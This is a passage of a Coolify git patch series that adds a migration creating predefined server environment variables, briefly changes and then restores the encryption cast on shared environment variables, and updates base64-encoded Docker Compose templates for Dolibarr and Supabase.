->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } } } From 82b19e59214826f557f294352bc66fa9a0525246 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Wed, 24 Dec 2025 14:41:08 +0100 Subject: [PATCH 05/95] fix: predefined server env were not generated for existing servers --- app/Models/SharedEnvironmentVariable.php | 2 +- ...d_server_variables_to_existing_servers.php | 68 +++++++++++++++++++ 2 files changed, 69 insertions(+), 1 deletion(-) create mode 100644 database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7b68bbac9..de6b23425 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -10,7 +10,7 @@ class SharedEnvironmentVariable extends Model protected $casts = [ 'key' => 'string', - 'value' => 'encrypted', + 'value' => 'string', ]; public function team() diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php new file mode 100644 index 000000000..d31b57ca7 --- /dev/null +++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php @@ -0,0 +1,68 @@ +get(); + + foreach ($servers as $server) { + // Check if COOLIFY_SERVER_UUID already exists + $uuidExists = DB::table('shared_environment_variables') + ->where('type', 'server') + ->where('server_id', $server->id) + ->where('key', 'COOLIFY_SERVER_UUID') + ->exists(); + + if (!$uuidExists) { + DB::table('shared_environment_variables')->insert([ + 'key' => 'COOLIFY_SERVER_UUID', + 'value' => $server->uuid, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + 'created_at' => now(), + 'updated_at' => now(), + ]); + } + + // Check if COOLIFY_SERVER_NAME already exists + $nameExists = DB::table('shared_environment_variables') + ->where('type', 'server') + ->where('server_id', $server->id) + ->where('key', 'COOLIFY_SERVER_NAME') + ->exists(); + + if (!$nameExists) { + DB::table('shared_environment_variables')->insert([ + 'key' => 'COOLIFY_SERVER_NAME', + 'value' => $server->name, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + 'created_at' => now(), + 'updated_at' => now(), + ]); + } + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + // Remove predefined server variables + DB::table('shared_environment_variables') + ->where('type', 'server') + ->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME']) + ->delete(); + } +}; From e3df380a04b4cb16fd01b0c05d084509ab668f8f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 17:30:53 +0100 Subject: [PATCH 06/95] fix: change value cast to encrypted for shared environment variables --- app/Models/SharedEnvironmentVariable.php | 2 +- templates/service-templates-latest.json | 6 +++--- templates/service-templates.json | 6 +++--- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index de6b23425..7b68bbac9 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -10,7 +10,7 @@ class SharedEnvironmentVariable extends Model protected $casts = [ 'key' => 'string', - 'value' => 'string', + 'value' => 'encrypted', ]; public function team() diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index c3e33b582..1986e17d3 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -851,7 +851,7 @@ "dolibarr": { "documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io", "slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).", - "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9kb2NzOi92YXIvd3d3L2RvY3VtZW50cycKICAgICAgLSAnZG9saWJhcnJfY3VzdG9tOi92YXIvd3d3L2h0bWwvY3VzdG9tJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9tYXJpYWRiX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "crm", "erp" @@ -4088,7 +4088,7 @@ "supabase": { "documentation": "https://supabase.io?utm_source=coolify.io", "slogan": "The open source Firebase alternative.", - "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiAgICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4wNi4wMi1zaGEtOGYyOTkzZCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUt